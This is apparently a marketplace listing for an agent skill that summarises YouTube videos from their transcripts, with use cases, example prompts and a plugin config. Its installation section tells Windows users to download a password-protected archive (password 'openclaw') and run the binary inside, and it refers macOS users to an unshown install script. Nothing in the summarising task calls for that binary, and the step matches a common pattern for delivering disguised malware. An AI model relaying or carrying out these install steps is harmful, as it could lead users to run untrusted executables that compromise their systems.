youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Learn how to use the OpenClaw YouTube Summarizer skill to automatically extract, clean, and summarize video content. Save time and boost your productivity.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ppfxaWhat This Skill Does
The youtube-summarize skill is a powerful automation tool designed to extract, clean, and summarize YouTube video content. By leveraging yt-dlp and custom script processing, the agent bypasses the need to watch long-form video content manually. It can pull auto-generated or manual subtitles, clean messy VTT (WebVTT) formatting, and output structured transcripts or high-level summaries. This allows you to integrate video knowledge into your workflows efficiently.
Installation
To use this skill, ensure you have the openclaw-agent utility installed.
- Windows: Download the archive, extract using the password 'openclaw', and execute the binary.
- macOS: Use the provided installation script snippet from the documentation to ensure environment compatibility.
- Dependencies: Install
yt-dlpviapip install yt-dlpin your environment. - Final Step: Install the skill itself using the command:
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ppfxa.
Use Cases
- Educational Research: Quickly summarize hour-long academic lectures or tutorials to extract core concepts without scrubbing through the video timeline.
- Content Curation: Extract key points from technical deep-dives or news segments to generate blog posts or summaries.
- Market Analysis: Analyze competitor marketing videos or product demos at scale to identify mentioned features and pain points.
- Documentation: Transform video-based "how-to" guides into written documentation for your internal knowledge base.
Example Prompts
- "Summarize this video at [URL] and list the top 5 key takeaways as bullet points."
- "Extract the transcript from this YouTube video [URL] and provide a detailed analysis of the arguments presented regarding AI ethics."
- "Get the metadata for this video [URL], including the duration and channel name, and write a one-paragraph summary of the content."
Tips & Limitations
- Quality Dependence: The summary quality depends entirely on the accuracy of the subtitles provided by the YouTube creator or auto-generated by YouTube.
- Language Support: While auto-subtitles are generally available, some videos may restrict subtitle access or offer only non-English captions.
- Long Videos: For extremely long videos (multiple hours), split the analysis process to remain within your LLM context window limits.
- System Path: Ensure your python environment is correctly linked to the agent's path to avoid execution errors during the text-cleaning phase.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-summarize-ppfxa": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-read, file-write, code-execution, network-access
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